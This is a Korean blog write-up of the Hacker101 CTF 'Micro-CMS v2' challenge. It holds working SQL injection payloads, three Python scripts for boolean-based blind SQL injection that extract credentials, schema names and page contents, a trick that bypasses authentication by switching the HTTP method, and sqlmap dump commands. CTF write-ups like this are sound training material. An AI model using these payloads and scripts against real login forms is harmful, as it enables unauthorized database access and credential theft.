ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Moderate] Micro-CMS v2
    Wargame/Hacker101 CTF 2019. 6. 21. 01:49

    Micro-CMS v1이랑 비슷하다.

    Micro-CMS Changelog에 접근해보았다.

     

    'Version2는 v1의 버그를 수정한 버전이고, 사용자 인증을 추가했다.

    페이지를 추가/수정을 위해서는 admin이어야 한다.' 라는 설명이 적혀있다.

     

    Edit this page를 눌러보니,,

     

    login 페이지로 이동한다.

    Username = admin 을 입력해보니, Unknown user가 출력된다.

     

    SQL Injection을 시도해보자.

     

    Error가 발생한다.

    이를 보니 Injection Point는 Username이다.

     

    마지막에 주석을 안해줘서 '의 갯수가 맞지 않아 에러가 발생하였다.

    '의 갯수가 맞도록 아래와 같은 구문을 이용하여 True가 되도록 하였다.

    (그냥 ' or true# 로 해도 된다.)

     

    Username = 'or '1'='1

     

    로그인 버튼을 눌러주면,,,,

     

    Invalid password가 출력된다.

    쿼리문이 True인 경우에는 Invalid password, False인 경우에는 Unknown user가 출력되는 것을 확인하였다.

    이를 이용하여 Blind SQL injection을 수행할 수 있다.

     

    ' or username like '_____

    _의 개수로 길이를 구한다.

     

    ' or username like 'a%

    와일드 카드인 %를 이용하여 한글자 씩 값을 알아낸다.

     

    구상한 쿼리문을 이용하여 username과 password를 알아내보자.

     

    [ 소스 코드 ]

    import requests
    
    url = 'http://35.227.24.107/fc34af3f0f/login'
    
    def find_len(value):
    	while True:
    		data = {'username':value, 'password':''}
    		response = requests.post(url, data = data)
    		if response.text.find('Invalid password') != -1:
    			print "[+] Success Find Length"
    			return value.count('_')
    		else:
    			value = value + '_'
    
    def find_string(value, length):
    	for i in range (0, length):
    		for j in range (48, 123):
    			if (58 <= j <= 64) or (91 <= j <= 96): continue
    			data = {'username':value + chr(j) + '%', 'password':''}
    			response = requests.post(url, data = data)
    			if response.text.find('Invalid password') != -1:
    				value = value + chr(j)
    				print "[*] Finding .... ", chr(j)
    				break
    	print "[+] Success Find Value"
    	return value.split('\'')[2]
    
    #Find username
    val = '\' or username like \''
    id_len = find_len(val)
    print "[+] Username Length : ", id_len
    username = find_string(val, id_len)
    print "-------------------------------------"
    print "[+] Username : ", username
    print "-------------------------------------"
    
    #Find password
    val = username + '\' and password like \''
    pw_len = find_len(val)
    print "[+] Password Length : ", pw_len
    password = find_string(val, pw_len)
    print "-------------------------------------"
    print "[+] Password : ", password
    print "-------------------------------------"

    [ 실행 결과 ]

     

    Username : BRANDEE, Password : DEBRA

     

    대문자로 찾아져서 그대로 복사 붙여넣기 하였으나,,

    FLAG를 얻을 수 없었다.

     

    알아낸 Username과 Password는

    반.드.시.

    소문자로 적어야한다 :)

     

    알아낸 Username과 Password를 소.문.자로 입력하고 로그인하면,,

     

    FLAG를 얻을 수 있다.

     

    이것저것 FLAG를 얻기위해 삽질하다가,,

    Version2에서 설명되어 있던 사용자 인증 기능이 추가되었다는 것이 생각났다.

     

    HTTP 인증 우회하는 방법으로 Method를 변경하는 방법이 있다.

     

    POST -> PUT

     

    Method가 허용되지 않는다는 페이지가 출력된다....;;

     

    응답페이지의 값을 보니 HEAD, GET, POST, OPTIONS만 허용한다.

     

     

    POST -> OPTIONS

     

    그냥 빈 화면이 출력된다.

    이게 아닌가..?!

     

    POST -> GET 으로도 해보았으나 아무런 반응이 없었다.

    힌트를 보았는데 Method를 변경하는 것이 맞는 것 같다.

     

    로그인 페이지가 아닌 Edit 페이지로의 인증 우회를 시도해보았다.

     

    GET -> OPTIONS

     

    아까와 같이 빈화면이 출력된다...

    흠...;;;;

    마지막으로,, POST로 변경해보자...!

     

    GET -> POST

     

    Request!!

     

    FLAG가 주어진 페이지가 출력된다 :)

     

    마지막 남은 FLAG는 도저히 모르겠어서 또 힌트를 보았다.

     

    힌트를 봐도 무슨 말인지 모르겠..다..;;

     

    모르겠어서, v1에서 한 것과 같이 다른 page에 접근을 시도해보았다.

    읭?!

    3번 페이지가 존재한다.

     

    3번 페이지가 존재하는 것을 보니 힌트가 이해가 되는 것 같다.

     

    아마 내 생각엔 3번 페이지는 FLAG를 출력시켜주는 페이지일 것이고,

    SQL Injection으로 DB에 저장되어 있는 3번 페이지에 출력되는 데이터를 알아내면 될 것 같다.

     

    아무런 정보가 없기 때문에 information_schema를 이용하여 table과 column을 알아보았다.

     

    ' or length((select table_name from information_schema.tables where table_type='base table' limit 0,1)) = 1#

    table명의 길이를 알아낸다.

     

    ' or ascii(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1)) = 41#

    ascii값을 이용해 table명을 한 글자씩 알아낸다.

     

    [ 소스 코드 ]

    import requests
    
    url = 'http://35.227.24.107/d8510ca545/login'
    
    def find_table(num):
    	length = 1
    	while True:
    		val = '\' or length((select table_name from information_schema.tables where table_type=\'base table\' limit ' + str(num) + ',1)) = ' + str(length) + '#'
    		data = {'username':val, 'password':''}
    		response = requests.post(url, data = data)
    		if response.text.find('Invalid password') != -1:
    			print "[+] Success Find Length ... ", length
    			break
    		else:
    			length = length + 1
    
    	table_name = ''
    	for i in range (1, length + 1):
    		val = '\' or ascii(substr((select table_name from information_schema.tables where table_type=\'base table\' limit ' + str(num) + ',1),' + str(i) + ',1)) = '
    		for j in range (32, 123):
    			data = {'username':val + str(j) + '#', 'password':''}
    			response = requests.post(url, data = data)
    			if response.text.find('Invalid password') != -1:
    				table_name = table_name + chr(j)
    				print "[*] Finding Table ... ", chr(j)
    				break
    			if (j == 122) : print "[!] Fail Find Value"
    	print "[+] Success Find Table Name"
    	return table_name
    
    tb_name = []
    for num in range (0, 10):
    	tb_name.append(find_table(num))
    	print "-------------------------------------"
    	print "[+] Table Name : ", tb_name[num]
    	print "-------------------------------------"

    [ 실행 결과 ]

     

    admins, pages 외에 찾은 table들은 information_schema에 저장된 기본 테이블이다.

     

    아마 page/3의 데이터는 'pages' table을 통해 알아낼 수 있을 것 같다.

     

    ' or length((select column_name from information_schema.columns where table_name='pages' limit 0,1)) = 1#

    column명의 길이를 알아낸다.

     

    ' or ascii(substr((select column_name from information_schema.columns where table_name='pages' limit 0,1),1,1)) = 41#

    column명을 한 글자씩 알아낸다.

     

    [ 소스 코드 ]

    import requests
    
    url = 'http://35.227.24.107/d8510ca545/login'
    
    def find_column(num):
    	length = 1
    	while True:
    		val = '\' or length((select column_name from information_schema.columns where table_name=\'pages\' limit ' + str(num) + ',1)) = ' + str(length) + '#'
    		data = {'username':val, 'password':''}
    		response = requests.post(url, data = data)
    		if response.text.find('Invalid password') != -1:
    			print "[+] Success Find Length ... ", length
    			break
    		else:
    			length = length + 1
    
    	column_name = ''
    	for i in range (1, length + 1):
    		val = '\' or ascii(substr((select column_name from information_schema.columns where table_name=\'pages\' limit ' + str(num) + ',1),' + str(i) + ',1)) = '
    		for j in range (32, 123):
    			data = {'username':val + str(j) + '#', 'password':''}
    			response = requests.post(url, data = data)
    			if response.text.find('Invalid password') != -1:
    				column_name = column_name + chr(j)
    				print "[*] Finding Column ... ", chr(j)
    				break
    			if (j == 122):
    				print "[!] Not Found Column ..."
    	print "[+] Success Find Column Name"
    	return column_name
    
    col_name = []
    for num in range (0, 10):
    	col_name.append(find_column(num))
    	print "-------------------------------------"
    	print "[+] Column Name : ", col_name[num]
    	print "-------------------------------------"

    [ 실행 결과 ]

     

    10개까지 존재하지 않는지 오랜 시간이 지났지만 4개의 column만 찾을 수 있었다.

    찾아진 column명을 보니 body가 의심스럽다.

    body의 데이터를 알아보자.

     

    소스 짜기 전, FLAG의 길이가 보통 몇 자인지 알아보았다.

     

    FLAG의 길이는 보통 76자 이다.

    이를 참고하여 body의 데이터 길이가 76 ~ 120 자인 경우에만 값을 찾도록 구현하였다.

    (조건 없이 그냥 찾으면 너무×100000 오래걸린다.)

     

    ' or length((select body from pages limit 0,1)) = 1#

    데이터의 길이를 알아낸다.

     

    ' or ascii(substr((select body from pages limit 0,1),1,1)) = 41#

    데이터를 한 글자씩 알아낸다.

     

    [ 소스 코드 ]

    import requests
    
    url = 'http://35.227.24.107/d8510ca545/login'
    
    def find_content(num):
    	length = 1
    	while True:
    		val = '\' or length((select body from pages limit ' + str(num) + ',1))=' + str(length) + '#'
    		data = {'username':val, 'password':''}
    		response = requests.post(url, data = data)
    		if response.text.find('Invalid password') != -1:
    			print "[+] Success Find Length ... ", length
    			break
    		else:
    			length = length + 1
    			if (length == 200):
    				print "[!] So Long Data"
    				return
    	
    	if (length <= 76 or length >= 120):
    		print "[!] Not Flag Page"
    		return
    
    	flag = ''
    	for i in range (1, length + 1):
    		val = '\' or ascii(substr((select body from pages limit ' + str(num) + ',1),' + str(i) + ',1)) = '
    		for j in range(32, 127):
    			data = {'username':val + str(j) + '#', 'password':''}
    			response = requests.post(url, data = data)
    			if response.text.find('Invalid password') != -1:
    				flag = flag + chr(j)
    				break
    	print "[+] Success Find Flag"
    	print "====================================="
    	print "[+] Flag : ", flag
    	print "====================================="
    
    for num in range (0, 10):
    	find_content(num)

    [ 실행 결과 ]

     

    이처럼 직접 소스를 짜도 되지만,, 찾아내는데 시간이 꽤 오래 걸린다.

    좀 더 빠르게 찾는 방법으로는 'sqlmap' 이라는 SQL Injection 툴을 이용하는 방법이 있다.

     

    설치 방법

    apt-get install sqlmap

     

    사용 방법

    sqlmap -h

     

    $ sqlmap -u URL --data="username=&password=" -p "username" --dbs --tables --columns

     

    -u URL지정

    --data POST 형식으로 보내줄 데이터 지정

    -p 테스트 할 파라미터 지정

    --dbs DB 리스트 출력

    --tables table 리스트 출력

    --columns column 리스트 출력

     

    [ sqlmap 사용법 ] https://m.blog.naver.com/PostView.nhn?blogId=koromoon&logNo=220413846103&proxyReferer=https%3A%2F%2Fwww.google.com%2F

     

    [ 결과 ]

     

    DB 명 : level2

    Table 명 : admins, pages

    Column 명 : id, password, ..

     

    엄청 빠르게 결과 값이 나온다.

     

    $ sqlmap -u "http://35.227.24.107/d8510ca545/login" --data "username=&password=" -D level2 -T pages --dump

     

    -D DB지정

    -T table지정

    --dump  덤프한 데이터 출력

     

    [ 결과 ]

     

    빠르게 FLAG를 얻을 수 있다.

    툴을 이용하는 것도 좋은 방법인 것 같다.

    'Wargame > Hacker101 CTF' 카테고리의 다른 글

    [Easy] Postbook  (0) 2020.04.04
    [Easy] Micro-CMS v1  (0) 2019.06.13
    [Trivial] A little something to get you started  (0) 2019.06.13

    댓글

@Jo Grini's Blog